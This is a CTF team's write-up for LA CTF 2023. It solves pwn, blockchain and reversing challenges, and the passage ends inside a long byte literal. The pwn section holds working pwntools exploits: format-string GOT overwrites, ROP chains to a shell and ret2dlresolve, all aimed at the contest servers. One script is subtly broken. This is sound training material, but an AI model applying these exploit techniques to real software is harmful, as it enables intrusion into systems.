Pwn (7/9 solved)
Gatekeep (529 solves)
Solved by a1668k
This is a very easy pwn challenge. From the source code, we can see that the program generates a password with /dev/urandom
. The goal of this challenge is to pass the password check in order to print the flag.
To solve this challenge, we need to understand one special property about strcmp()
. strcmp()
will compare two input strings character by character until null-character(\0
) appears. Since /dev/urandom
have a chance of 1/256 that the generated number is a null byte \x00
. Therefore, we can simply keep sending requests until the password is just a null byte.
Solve Script:
from pwn import *
while (true):
r = remote('lac.tf', 31121)
r.recvuntil(b'Password:\n')
r.sendline(b'\x00')
next = r.recvline()
if (next[-4:] == b'ou!\n'):
print(r.recv())
break
r.close()
Flag: lactf{sCr3am1nG_cRy1Ng_tHr0w1ng_uP}
bot (197 solves)
Solved by a1668k
This challenge is a basic buffer overflow challenge. By looking at the source code, obviously, input
is vulnerable to a buffer overflow attack.
Preparation
└─$ checksec bot
[*] '/home/kali/Desktop/CTFs/laCTF/bot/bot'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
By checking the security of the executable, neither PIE
nor Canary
has been activated.
By looking at the c source code, there is a line calling system("cat flag.txt")
. Therefore, we can simply overwrite the $rsp
and jump to that line to run system()
.
But before reaching the rsp, we still need to avoid the program reaches to exit(1)
. Therefore, we will have to pass either if-statement.
Solve script:
from pwn import *
r = remote('lac.tf', 31180)
system_addr = 0x40129a
payload = b'give me the flag\x00'.ljust(0x40+0x8) + p64(system_addr)
r.sendline(system_addr)
r.interactive()
Flag: lactf{hey_stop_bullying_my_bot_thats_not_nice}
Rickroll (90 solves)
Solved by Botton
#include <stdio.h>
int main_called = 0;
int main(void) {
if (main_called) {
puts("nice try");
return 1;
}
main_called = 1;
setbuf(stdout, NULL);
printf("Lyrics: ");
char buf[256];
fgets(buf, 256, stdin);
printf("Never gonna give you up, never gonna let you down\nNever gonna run around and ");
printf(buf);
printf("Never gonna make you cry, never gonna say goodbye\nNever gonna tell a lie and hurt you\n");
return 0;
}
Very short source code, it obivously require the format string exploit.
When printf()
only have one argument, and the argument is a simple constant string with a “\n” in the end, the compiler will convert it to be puts()
instead of printf()
corrected by a1668k
So the last printf function should be puts
puts("Never gonna make you cry, never gonna say goodbye\nNever gonna tell a lie and hurt you\n");
We can overwrite puts@got
to the address of main()
to keep us in a loop.
One thing need to take care is that we should make the main_called
variable to be 0 when we back to main()
.
In first loop, we leak stack, libc address and overwrite main_called
to 0 and puts@got
to main()
.
In second loop, we use format string exploit to build a rop chain to get shell.
from pwn import *
TARGET = './rickroll'
HOST = 'lac.tf'
PORT = 31135
context.arch = 'amd64' # i386/amd64
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h']
elf = ELF(TARGET)
if len(sys.argv) > 1 and sys.argv[1] == 'remote':
p = remote(HOST, PORT)
# libc = ELF('')
else:
p = process(TARGET)
libc = elf.libc
gdbscript = '''
b *0x4011F3'''
if len(sys.argv) > 1 and sys.argv[1] == 'gdb':
gdb.attach(p, gdbscript=gdbscript)
#--- helper functions
s = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
r = lambda numb=4096 :p.recv(numb)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
# misc functions
uu32 = lambda data :u32(data.ljust(4, b'\x00'))
uu64 = lambda data :u64(data.ljust(8, b'\x00'))
#---
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
main = elf.symbols['main']
printf_got = elf.got['printf']
puts_got = elf.got['puts']
main_called = 0x0000000040406c
payload = b''
payload += b"%12$hhn|"
payload += b"%81c%13$hhn|||||"
payload += b"%186c%14$hhn||||"
payload += b">>>%15$s"
payload += p64(main_called)
payload += p64(puts_got)
payload += p64(puts_got+1)
payload += p64(printf_got)
sla("Lyrics:", payload)
ru(b">>>")
libc_base = uu64(r(6)) - 0x056cf0
#libc_base = uu64(r(6)) - 0x61c90
leak("libc_base", libc_base)
system = libc_base + 0x048e50
#system = libc_base + 0x52290
payload = b"%36$hhn|"
payload += fmtstr_payload(7, {printf_got: system}, 1)
payload = payload.ljust(240, b"A")
payload += p64(main_called)
sla("Lyrics:", payload)
p.interactive()
Rut-roh-relro (70 solves)
Solved by Botton
This challenge provides a short source code
#include <stdio.h>
int main(void) {
setbuf(stdout, NULL);
puts("What would you like to post?");
char buf[512];
fgets(buf, 512, stdin);
printf("Here's your latest post:\n");
printf(buf);
printf("\nWhat would you like to post?\n");
fgets(buf, 512, stdin);
printf(buf);
printf("\nYour free trial has expired. Bye!\n");
return 0;
}
format string attack again, but this time is Full RELRO
which means we can’t ovrwrite got table.
However, it give us two times to use format string attack. So again, first print to leak stack and libc addres and second print to build rop chain to get shell
from pwn import *
TARGET = './rut_roh_relro'
HOST = 'lac.tf'
PORT = 31134
context.arch = 'amd64' # i386/amd64
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h']
elf = ELF(TARGET)
if len(sys.argv) > 1 and sys.argv[1] == 'remote':
p = remote(HOST, PORT)
libc = ELF('libc-2.31.so')
else:
p = process(TARGET, env={"LD_PRELOAD": "./libc-2.31.so"})
libc = ELF('libc-2.31.so')
gdbscript = '''
b *main+179'''
if len(sys.argv) > 1 and sys.argv[1] == 'gdb':
gdb.attach(p, gdbscript=gdbscript)
#--- helper functions
s = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
r = lambda numb=4096 :p.recv(numb)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
# misc functions
uu32 = lambda data :u32(data.ljust(4, b'\x00'))
uu64 = lambda data :u64(data.ljust(8, b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
#---
payload = b""
payload += b">%71$p|%72$p"
sla("What would you like to post?", payload)
ru(b">")
libc_base = int(r(14), 16) - 0x23d0a
ru(b"|")
stack = int(r(14), 16)
ret_addr = stack - 0xf0
leak("libc_base", libc_base)
leak("stack", stack)
system = libc_base + libc.symbols['system']
binsh = libc_base + next(libc.search(b"/bin/sh\x00"))
pop_rdi = libc_base + 0x0000000000023796
payload = b""
payload += fmtstr_payload(6, {ret_addr: pop_rdi+1, ret_addr+8: pop_rdi, ret_addr+0x10: binsh, ret_addr+0x18: system})
sla("What would you like to post?", payload)
p.interactive()
Redact (46 solves)
Solved by cire meat pop and Botton
The source code is simple (only 31 line of code), and the bug comes from:
if (index < 0 || index > text.size() - placeholder.size()) {
std::cout << "Invalid index\n";
return 1;
}
std::copy(placeholder.begin(), placeholder.end(), text.begin() + index);
Since <string>.size()
return size_t
, index > text.size() - placeholder.size()
must be true, thus index can be very large if placeholder.size()
> text.size()
. As a result, the std::copy
can copy out-of-bound, lead to a bof.
As usually, crafting a rop for ret2libc is the simplest approach but cout
cannot print out non-printable character while we locally testing it (although later we found a writeup doing the same thing with success). What can we do if we cannot leak libc? Partial overwrite or ret2dlresolve. Lucky PIE
is disabled so that ret2dlresolve is still viable, here is the payload:
from pwn import *
context.binary = elf = ELF('./redact')
p = remote('lac.tf',31281)
basic_string = 0x4010E0
cin = 0x4041E0
cin_op = 0x401060
pop_rdi = 0x40177b
pop_rsi_r15 = 0x401779
getline_plt = 0x401030
rop = ROP(elf)
dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["/bin/sh"])
rop.ret2dlresolve(dlresolve)
text = b'a'
placeholder = b'b'*72 + flat(pop_rdi, dlresolve.data_addr-0x50, basic_string)
placeholder += flat(pop_rdi, cin, pop_rsi_r15, dlresolve.data_addr-0x50, 0, getline_plt) #don't why this getline not working
placeholder += flat(pop_rdi, cin, pop_rsi_r15, dlresolve.data_addr-0x50, 0, getline_plt)
placeholder += flat(pop_rdi, cin, pop_rsi_r15, dlresolve.data_addr-0x50, 0, cin_op)
placeholder += flat(pop_rdi, cin, pop_rsi_r15, dlresolve.data_addr-0x50, 0, getline_plt) #don't why this getline not working
placeholder += flat(pop_rdi, cin, pop_rsi_r15, dlresolve.data_addr-0x50, 0, getline_plt)
placeholder += rop.chain()
p.sendlineafter(b': ',text)
p.sendlineafter(b': ',placeholder)
p.sendlineafter(b': ',b'0')
p.sendline(b'1'*0xff)
p.sendline(str(dlresolve.data_addr))
p.sendline(dlresolve.payload)
p.interactive()
Breakup (23 solves)
Solved by Kaiziron
Second blood.
This is a simple challenge, the objective is to remove the ERC721 NFT that is owned by SomebodyYouUsedToKnow
contract which has the friendName
of “You”
Setup.sol
will deploy the Friend.sol
and the SomebodyYouUsedToKnow
contract, and SomebodyYouUsedToKnow
contract will mint a friend NFT which has the name of “You”
There is a burn function in Friend.sol
:
function burn(uint256 tokenId) public {
_burn(tokenId);
delete friendNames[tokenId];
}
It has no access control that check msg.sender
is the owner of the NFT, allowing anyone to call burn()
to burn anyone’s NFT and delete the friend name for the NFT
So just call burn(1)
, as the NFT owned by SomebodyYouUsedToKnow
contract has the ID of 1
Flag : lactf{s0m3_p30pl3_w4n7_t0_w4tch_th3_w0r1d_burn}
EVMVM (7 solves)
Solved by Kaiziron
First blood.
The writeup is quite long, so I’ll just put a link here : https://github.com/Kaiziron/lactf2023-writeup/blob/main/evmvm.md
rev (7/8 solved)
string-cheese (644 solves)
Solved by fsharp
The Linux binary checks your input against a hardcoded string. If they match, you get the flag.
You could run strings
against the program (as hinted by the challenge name) or open it up in a reverse engineering tool like Ghidra or IDA Freeware to see what the correct input is. In this case, it’s blueberry
.
Flag: lactf{d0n7_m4k3_fun_0f_my_t4st3_1n_ch33s3}
caterpillar (398 solves)
Solved by fsharp
Second blood.
A JavaScript file is given. If the flag
string variable matches all given conditions, it contains the flag.
The conditions are in the form of flag.charCodeAt(<caterpillar1>) == caterpillar2
. caterpillar1
is the index position of a flag character, and caterpillar2
is what that character’s ASCII code should be.
Getting the flag involves doing the following:
- Manually extract all indices and their corresponding ASCII codes.
- Evaluate them in a JavaScript interpreter (e.g. in your browser’s console) to turn the ‘caterpillars’ into numbers.
- Sort the ASCII values by their indices in ascending order.
- Turn the ASCII values into their corresponding ASCII characters.
Flag: lactf{th3_hungry_l1ttl3_c4t3rp1ll4r_at3_th3_fl4g_4g41n}
finals-simulator (306 solves)
Solved by fsharp
Second blood.
You are asked 3 math questions, where answering them all correctly gives you the flag.
Q1: What is sin(x)/n?
A: six
, because the input is strcmp
’d against this.
Q2: What’s the prettiest number?
A: 13371337
, because the prettiest number n
satisfies the condition 42 * (n + 88) = 561599850
. Rearrange this equation to get n = 561599850 / 42 - 88
.
Q3: What’s the integral of 1/cabin dcabin?
A: I don’t know what you’re talking about but I still know the answer, which is it's a log cabin!!!
.
For the last question, each input character c
is transformed into (17 * c) % mod
, where mod = 0xfd
. They are then strcmp
’d against a hardcoded sequence of bytes enc
, and the answer is correct if they match.
The correct input could be reverse engineered by solving for c
for each byte in enc
. Let’s say the byte is e
. We get this equation:
(17 * c) % mod = e
Since we’re performing modular arithmetic, we could check if there is a modular multiplicative inverse for 17
with respect to the modulus. Thankfully there is one, since 17
and the modulus are coprime (i.e. gcd(17, mod) == 1
).
In Python, the inverse could be found by computing pow(17, -1, mod)
, which evaluates to 134
. So, now our equation becomes:
(17 * c * 17^-1) % mod = (e * 17^-1) % mod
c % mod = (e * 17^-1) % mod
c % mod = (e * 134) % mod
Assuming that the input only contains printable ASCII characters, which means c < mod
. So:
c = (e * 134) % mod
With this, we could get the input by running the following script:
mod = 0xfd
mult = 17
inv = pow(mult, -1, mod) # 134
enc = bytes.fromhex("0ec99db82683264174e926a583940e63373737")
q3_ans = bytes([(e * inv) % mod for e in enc]).decode()
print(q3_ans)
Flag: lactf{im_n0t_qu1t3_sur3_th4ts_h0w_m4th_w0rks_bu7_0k}
universal (210 solves)
Solved by fsharp
The Java class file asks us for the flag, then checks our input against a total of 45 conditions. If all conditions are satisfied, our input is the flag.
The first condition simply checks if the flag is 38 characters long, but the rest are more complicated, which are in the form of ((bytes[a] ^ bytes[b] * 7 ^ ~bytes[c] + 13) & 0xFF) == d
, and a
, b
, c
, and d
are numbers in a rather wide range.
We could use an SAT solver like Z3
to figure out the flag for us. It is easy to do this in Python:
- Create a variable that stores the flag.
- Add the complicated conditions into the solver.
- Check whether the conditions make it possible to solve for the flag.
- If yes, return the model that contains the flag and get the flag from it.
The script used is as follows:
from z3 import *
s = Solver()
# step 1
pw_len = 38
pw = [BitVec("pw%s" % (i), 8) for i in range(pw_len)]
# step 2
s.add(((pw[34] ^ (pw[23] * 7) ^ ((~pw[36]) + 13)) & 0xFF) == 0xB6)
s.add(((pw[37] ^ (pw[10] * 7) ^ ((~pw[21]) + 13)) & 0xFF) == 0xDF)
s.add(((pw[24] ^ (pw[23] * 7) ^ ((~pw[19]) + 13)) & 0xFF) == 0xCD)
# the remaining conditions are omitted for brevity
# step 3 (if this prints 'sat', proceed to the next step)
print(s.check())
# step 4
m = s.model()
flag = ""
for i in range(pw_len):
flag += chr(int(str(m.evaluate(pw[i]))))
print(flag)
Flag: lactf{1_d0nt_see_3_b1ll10n_s0lv3s_y3t}
ctfd-plus (173 solves)
Solved by fsharp
Third blood.
Each byte of the user input is checked against a function’s output, which takes in one byte at a time from a certain hardcoded byte sequence. The user input is the flag if they all match. However, the moment an unmatched byte is found, the program quits.
Here, unlike finals-simulator
, the byte sequence gets ‘decoded’ into the correct input characters by the program. So, rather than writing a function that turns the byte sequence into the flag, the following could be done:
- Patch the program so that it never checks if our input is correct. This means the program would never quit if our input is incorrect.
- Set a breakpoint in the program right after a byte gets ‘decoded’ so that we could get its value.
In this case, we patch the je 0x10f8
instruction at 0x110e
to jmp 0x10f8
, and set a breakpoint there to get the value of the al
register, which contains the ‘decoded’ byte. Finally, turn all the bytes into their corresponding ASCII characters to get the flag.
Flag: lactf{m4yb3_th3r3_1s_s0m3_m3r1t_t0_us1ng_4_db}
switcheroo (96 solves)
Solved by fsharp
Second blood.
A static Linux binary is provided. It checks our input to see if it is 63 characters long, then does something weird to each input character to check if they satisfy a condition. If they all do, the input is the flag.
Since this program doesn’t use any libraries like the standard C library, the pseudocode generated by reverse engineering tools like Ghidra or IDA Freeware is not quite helpful. Thankfully, it’s pretty small, so it’s possible to understand what it’s doing by reading its disassembly.
To explain what the program does, I’ve modified the disassembly output I got from Radare, added some comments, and put it below:
0x401000 lea rsi, [0x402000]
0x401008 mov edi, 1
0x40100d mov edx, 0x12
0x401012 mov eax, 1
0x401017 syscall ; write(stdout, "Give me the flag: ")
; read input
0x401019 xor edi, edi
0x40101b mov rsi, rsp
0x40101e mov edx, 0x64
0x401023 xor eax, eax
0x401025 syscall ; read(stdin, flag, 100)
; check input length
0x401027 cmp rax, 0x40 ; are 64 chars read? (i.e. is the input 63 chars long?)
0x40102b jne fail ; if not, the input's wrong
; outer loop variable initialization
0x40102d xor r12, r12 ; r12 = 0 (number of wrong chars)
0x401030 lea r11, [0x40203c] ; r11 = address of bytes_arr
0x401038 xor r10, r10 ; r10 = 0 (index i)
; outer loop for checking each input char
loop_cond cmp r10, rax ; are all input chars checked?
0x40103e jge check ; if yes, do the final check
; inner loop variable initialization
0x401040 movzx r9, byte [rsp + r10] ; r9 = flag[i]
0x401045 mov r8, qword [r9*8 + r11] ; r8 = bytes_arr[8 * r9 : 8 * (r9 + 1)][::-1]
0x40104d rol r8, 8 ; r8 = r8[1:] + bytes([r8[0]])
0x401051 movzx r13, r8b ; r13 = r8[-1] (a limit)
0x401055 xor r14, r14 ; r14 = 0 (index j)
; inner loop for checking the input char with 8 particular bytes
inner_loop_cond cmp r14, r13 ; is j >= the limit?
0x40105b jge wrong_chr ; if yes, the input char is wrong
0x40105d rol r8, 8 ; r8 = r8[1:] + bytes([r8[0]])
0x401061 cmp r8b, r10b ; is r8[-1] == i?
0x401064 je chk_next_chr ; if yes, the input char is correct!
0x401066 inc r14 ; otherwise, j += 1
0x401069 jmp inner_loop_cond
wrong_chr inc r12 ; increment the number of wrong chars
chk_next_chr inc r10 ; increment the index i to check the next char
0x401071 jmp loop_cond
; check if any wrong chars are found
check test r12, r12 ; are there any wrong chars?
0x401076 jne fail ; if yes, the input's wrong
0x401078 jmp success ; otherwise, it's correct!
success lea rsi, [0x40202a] ; rsi = "That was the flag!"
0x401084 mov edx, 0x12
0x401089 jmp end
fail lea rsi, [0x402012] ; rsi = "That was not the flag :("
0x401093 mov edx, 0x18
0x401098 jmp end
end mov edi, 1
0x40109f mov eax, 1
0x4010a4 syscall ; write(stdout, rsi)
Therefore, we just need to emulate what the program does and get the flag from all valid characters found:
def rotate_left_1_byte(qword):
return qword[1:] + bytes([qword[0]])
flag_len = 63
binary = open("switcheroo", "rb").read()
first_8_bytes_in_arr = bytes.fromhex("0605040302010007")
bytes_arr_index = binary.index(first_8_bytes_in_arr)
bytes_arr = binary[bytes_arr_index:]
flag = ""
for i in range(flag_len):
for c in range(0x21, 0x7f):
qword = bytes_arr[8 * c : 8 * (c + 1)][::-1]
qword = rotate_left_1_byte(qword)
limit = qword[-1]
j = 0
isValid = True
while True:
if j >= limit:
isValid = False
break
qword = rotate_left_1_byte(qword)
if qword[-1] == i:
break
j += 1
if isValid:
flag += chr(c)
break
print(flag)
Flag: lactf{4223M8LY_5W17Ch_57473M3n75_4r3_7h3_4850LU73_8357_u+1f60a}
snek (26 solves)
Solved by fsharp, harrier and RaccoonNinja; written by fsharp
A Python script is given, which unserializes a pickled object. Running it on Python 3.10 or above starts a game of Snake where you control a snake, avoid going outside the map, and collect orbs. Each time an orb gets collected, the map changes. There are a total of 10 fixed maps, and once an orb from each map is collected, the game is over.
I played around a bit and every time I reached the end, the snake became sad. Clearly I needed to know more about what to do to make the snake happy and get the flag.
At first, I was panicking because I’ve never reverse engineered a pickled object before and was unaware of tools that could be used to analyze one. My original plan was to read the CPython source code to see how a pickled object is serialized and manually reverse engineer from there onwards, without using any other tool. Thankfully, harrier pointed out that such tools already exist: He pointed me to pickletools
, which could disassemble pickled objects in the command line.
After sharing the disassembly of the file with my teammates, I began skimming through it. A big portion of the disassembly is structured as follows:
2: X BINUNICODE '0'
8: \x94 MEMOIZE (as 0)
9: 0 POP
10: X BINUNICODE '1'
16: \x94 MEMOIZE (as 1)
17: 0 POP
<lots of memoizes and pops... snip...>
802: c GLOBAL 'builtins str.join'
821: V UNICODE ''
823: ( MARK
824: g GET 25
828: g GET 18
832: g GET 12
836: g GET 20
840: g GET 21
844: g GET 14
848: l LIST (MARK at 823)
849: \x86 TUPLE2
850: R REDUCE
851: c GLOBAL 'builtins str.join'
870: V UNICODE ''
872: ( MARK
873: g GET 14
877: g GET 23
881: g GET 12
885: g GET 24
889: g GET 13
893: g GET 14
897: g GET 88
901: g GET 21
905: g GET 24
909: g GET 23
913: g GET 16
917: l LIST (MARK at 872)
918: \x86 TUPLE2
919: R REDUCE
920: \x93 STACK_GLOBAL
<lots of mark + gets... snip...>
Many printable characters were put into a dictionary (‘memoized’), and individual characters were picked from the dictionary to create a string via __import__("builtins").str.join()
. The string was later used to load a function from a Python module. The function gets put onto the stack used by the pickle VM.
Seeing this, RaccoonNinja quickly whipped up a script that printed these constructed strings:
from string import printable
from pickletools import genops
def genfromindices(l):
return "".join(printable[x] for x in l)
p = b'...'
mark = False
i=0
for opcode, arg, pos in genops(p):
if opcode.name == 'MARK':
mark = []
elif opcode.name == 'LIST':
print("".join(mark))
mark = False
elif opcode.name == 'GET':
mark.append(printable[arg])
With his help, a lot of precious time has been saved, and more focus could be put onto understanding the logic of the pickled file.
I then began reverse engineering the file. Still panicking a bit, I was initially unsure whether my reverse engineering was correct. harrier was very patient with me and confirmed that my work should be correct. This gave me a lot of confidence to work through most of the rest of the file on my own.
With a little more help from harrier, I finally realized that the pickled file was creating a code object and executing it. After discussing with him on an approach to reverse engineering the code object, I had an idea.
First, create a PYC file containing the code object. This could be done by running the following script in Python 3.10:
import importlib, types
binbytes = b'd\x00f\x03h\x05{\x07t\t`\nf\x0fr\x0fz\x10M\x11p\x14r\x17t\x1ag\x1ax\x1cz\x1dL%O&Y\'\'\'L*W(H)S+X1V6\x974^7\\?\x99:T=Z8\xe3@*C M\xe5F I.B\xefL&O4[\xf1R<U2\\\xfbX2[8Q\xfd^\x08a\x06n\xc7d\x0eg\x0cg\xc9j\x0bg\x13j\x0cs\x16|\x13t\xf5v\x05\x7f\x1ek\x01z\x1a~\xfd\x89\xfe\x81\xe3\x85\x05\x86\xf5\x80\xed\x8b\xf1\x87\x87\x8f\xf4\x83\xef\x98\xe0\x93\xea\x94\x1b\x98\xde\x9b\xc1\xb0\xe3\x93\xc4\xb3\xdf\xae\xd0\xa3\xda\xa4+\xa8\xee\xab\xf1\xb3\xd3\xa1\xcc\xbd\xce\xbd\xd2\xb7\xca\xb1\xce\xb9\xc8\xd8\xc0\xb0\xda\xac\xf7\xc1\xbf\xce\xb5\x93\xba\xcb\xb4\xc7\xac\xc9\xb0\xc8\xb2\xc7\xc9\xd1\xa4\xd3\xa6\xa5\xaa\xda\xbc\xcd\xed\xdb\xa1\xd0\xaf\x89\x9c\xec\x86\xf6\xd3\xe5\x9b\xea\x99\xbf\x96\xe0\x90\xe0\x8a\xf9\xe7\xf1\xc5\xf3\x89\xfe\x87\xb9\x8c\xfe\x86\xf0\x98\xec\x9a\xe8\x8d\x03\x03\x03p\rz\x0e\x8b\x08n\ng\t\x9e\x0ebLn\x1a\xb4\x1c\xb7\x17e\x16n\x11`\x12j\x14\xa3#Q\xb4X*\x86+\x89)\xba*^\x1eZ$L>\xb12I:J8\\!\x02;A2B0$@)G6\xed:N\xe8D6D\xedLOO,W6RMU+G$I>ZE]"X\x04`{cse\x1aw\x0cqsk\x10j\nwiqes\x12w\x0bf\x04h\x1eze}\x1a~\xeb\x81\xf1W\xf8\x94\xe2\x86\x91\x89\xf6\x88\xe7\x88\xfd[\xec\x80\xf6\x8b\x8d\x95\xf2\x96\xf3\x99\xe9O\xe0\x8c\xfa\x87\xb9\xa1\xde\xa0\xcf\xa0\xd4}\xdc\xae\xce\xb2/\xac\xaf\xaf\xd4\xb1\xe1\xb3\xc8\xb3\x16\xba\xc4\xa8\x1b\xba\xbd\xbd\xc2\xae\xbc\xc4\xbe\xcb\xdd\xc5\xb0\xc7X\xc8\xb8\xe5\xb0\xc5\xaa\xd7\xe7\xd1\xaf\xdb\xa8\xdfv\xd9\xa4\xc8{\xda\xdd\xdd\xa2\xd7\x94\xe9\x9e\xe6g\xe4\x8d\xe5x\xe8\x98\xc6\x88\xec\x93\xfd\x8c\xfb\xb6\xf3\xa9\xe3\xaa\xf5\x85\xea\x87\xef\x80\xef\x9a\xe5N\x01\x7f\x11x\x17z\x04l\x12\x19\x0b5\rs\x1dl\x03n\x00h\x16\x02\x17d\r\r\x1b+\x1dc\rQ\xdb^\'X7M%\xb8(X\x0cX*J3\xb3033@2B8\\$^%\xbf?\x9e/\xe1A\xe2R\xe5E\xc5FII.K\x1fM:H4N\xd1RUU2W\x0bY4r [\xfeM\xc1acc\nA\x1ah\x0cI\x01i\xfcl\x1c-\x0cv\x16kmu}w\x04~\x1eze}\x18}\xfd\x86\xec\x96\xf8\x8a\xe2\xa6\xe3\x8b\x1a\x8a\xfe\xdc\xf2\x88\xf4\x89\x8b\x93\xe8\x92\xf2\x96\x81\x99\x91\x9b\xfa\x9f\xe3\x98\xce\xa7\xd6\xa4\xc0\x87%\xa6\xa9\xa9\xce\xab\xff\xad\xd2\xae\x10\xa2\xd6\x90\x15\xb4\xb7\xb7\xd6\xb2\xc6\xb2\x1c\xa9\xca\xaa\xa4\xe5A\xc2d\xd4g\xc7h\xdfk\xcbm\xcc\xcf\xcf\xa1\x99'
binbytes2 = b'.\x94t\x94 ?kens\x06\x8c\x9a\x99\x99\x99\x99\x99\xb9?G\x94(: desufnoc kens\x10\x8c\x94R\x01\x8c\x94L\x01\x8c\x94(: das kens\x0b\x8c\x94r\x01\x8c\x94txt.galf\x08\x8c\x94D: yppah kens\r\x8c\x02K\x059M\x94(: daed kens\x0c\x8c\x01K\x94\x85\x94hsulf\x05\x8c\x94\n\x01\x8c\x94.\x01\x8c\x94o\x01\x8c\x94#\x01\x8c\x94\x00\x8c\x88\x94\x86\x00K\x01K\x94\x86\x00K\x00K\x94\x91_h\x94\x86\x06K\x06K\xadh\x00\x00\x01!j\x94\x86\x07K\x01K\x94\x86\x13K\x08K\x85h\x81h\x00\x00\x01 jSh~h\'h\x94\x86\nK\x04K"h\x94\x86\x0fK\x07K\xe3h\x94\x86\x03K\x12K\x94\x86\x04K\x06K\xdfh\x00\x00\x01\njvh\x1ch\x94\x86\x04K\x02K\x94\x86\x07K\x00K\x94\x86\x08K\x08K\xbeh\xddh\x14h\x94\x86\x06K\x05K\x94\x86\x03K\x03K\x98h\x94\x86\x0eK\x06Kkh\x00\x00\x01\x04j\x95h\xd9h\x94\x86\x0eK\x0bK\xd8h\xd7h\x94\x86\x13K\x05K\xd6h\xd4h\xf0h\nh\x0fh\x06heh\x94\x86\x13K\x0cKdh\xedh(\x94\x91\x94\x86\x0eK\x07K\xd0h\x94\x86\x05K\x07K\xceh\x94\x86\x05K\x10K\xe8h\\h\x81h\x94\x86\tK\x00K\x94\x86\rK\x11K\xa9h}h\x94\x86\x00K\tK\xc6hOh!h\xe2h\x94\x86\x0fK\x10K{h\xa5h\xfah\xc4h\x94\x86\x00K\x12K\x94\x86\x07K\x0fK\x94\x86\nK\rK1h\x1dh\x94\x86\x04K\rK\x94\x86\x07K\x0bK\x19h\x17h\x94\x86\x12K\x05Krh\x94\x86\x02K\x08K\x14h\xf4hDh\x94\x86\x13K\x12K\x94\x86\rK\x10K\x94\x86\x05K\x06K\x94\x86\x0eK\rK\x11h\xb5h\x94\x86\x11K\x00K\x94\x86\x06K\nK\x08h\x94\x86\x01K\x0eK\x8chbh5h(\x94\x91\x94\x86\x08K\x07K\xe9h\x94\x86\x0eK\x10K0h\xe8h\xcch\xcdh]h\x94\x86\x04K\nK,h\xa8h~h\xfch\xc7h"h!h{hMh\xf8h\xc2h\xc1h\x94\x86\x0bK\x01KthyhIh\x94\x86\x11K\x11K\xa0h\x16h\x94\x86\x0fK\x0cK\x94\x86\x02K\x04K\x97h\xb9h\x94\x86\x11K\rK\x94\x86\x11K\x02KAh\x94\x86\x0bK\x0fK\x94\x86\x08K\rK\x11h\x94\x86\tK\x01K\x94\x86\x04K\x10K>h\x94\x86\x02K\rKhh\x94\x86\x12K\x13K\xd6h;h\nh\xb0h\x06hbh(\x94\x913h`h\xbch\xadh\xach.hYh\x94\x86\x04K\x01K\xe7h\xa9h\xc9h(h\x94\x86\x04K\x13K\'hRhPh\x94\x86\x13K\x06K\xe2h\x94\x86\x0cK\x10K\x94\x86\rK\rK\x94\x86\x10K\rK\xe1h\x94\x86\x13K\x0bK\xc2hxhJh\x1bh\x1ah\x94\x86\x01K\x0bKph\x94\x86\x02K\x13K\xddh\x94\x86\x0eK\x04K\x99hDhBh\x94\x86\x0fK\x01K\x94\x86\x01K\x12K\x94\x86\x0bK\rK\xd6h\x07h\nh\x94\x86\x13K\x03K\x91h\x05h\x94\x86\x00K\x13K\x94\x86\x07K\x0eK\x03h\x94\x86\x07K\x0cK\x94\x86\x00K\x04K(\x94\x91\x94\x86\x12K\x0fK\x94\x86\x0bK\x07K\x94\x86\x06K\x02KWh\x94\x86\nK\x13K\x82h\xaah\x94\x86\x01K\x01K\x94\x86\x07K\x08KShRh)h&h\xc7h\x94\x86\x02K\x03K\xa7h!h\x94\x86\x10K\x06K\x94\x86\x13K\x0fK{h\xa5h\xc4h\x94\x86\x0eK\x01K\x94\x86\x11K\nK\x94\x86\nK\x02K\xc1huhth\x1bh\x94\x86\nK\tK\xa0h\x94\x86\x0cK\x03K\xbdh\x99h\x94\x86\x06K\x0cK\x94\x86\x08K\x0fK\x94\x86\x0bK\x00K\x94\x86\x0bK\x02K\xb3h\x94\x86\x12K\x11K\x94\x86\x03K\nK\x94\x86\x0eK\tK\xb1h\x94\x86\x02K\x0bK\x0eh\x94\x86\x06K\x11Keh\x94\x86\x02K\tK\x94\x86\x0cK\x04K\x8fh(\x94\x91\x94\x86\x11K\x10K\x94\x86\x12K\x0bK\x94\x86\nK\x01K/h\x94\x86\x06K\x0fK\x94\x86\x12K\tK\x94\x86\x03K\x02K\x81h\x94\x86\x00K\rKXhVh\xa8h\x94\x86\x0eK\x03K\x94\x86\x0bK\x03K\x94\x86\x04K\x11K"h\x94\x86\x0bK\x0cK!h\x94\x86\nK\x06K 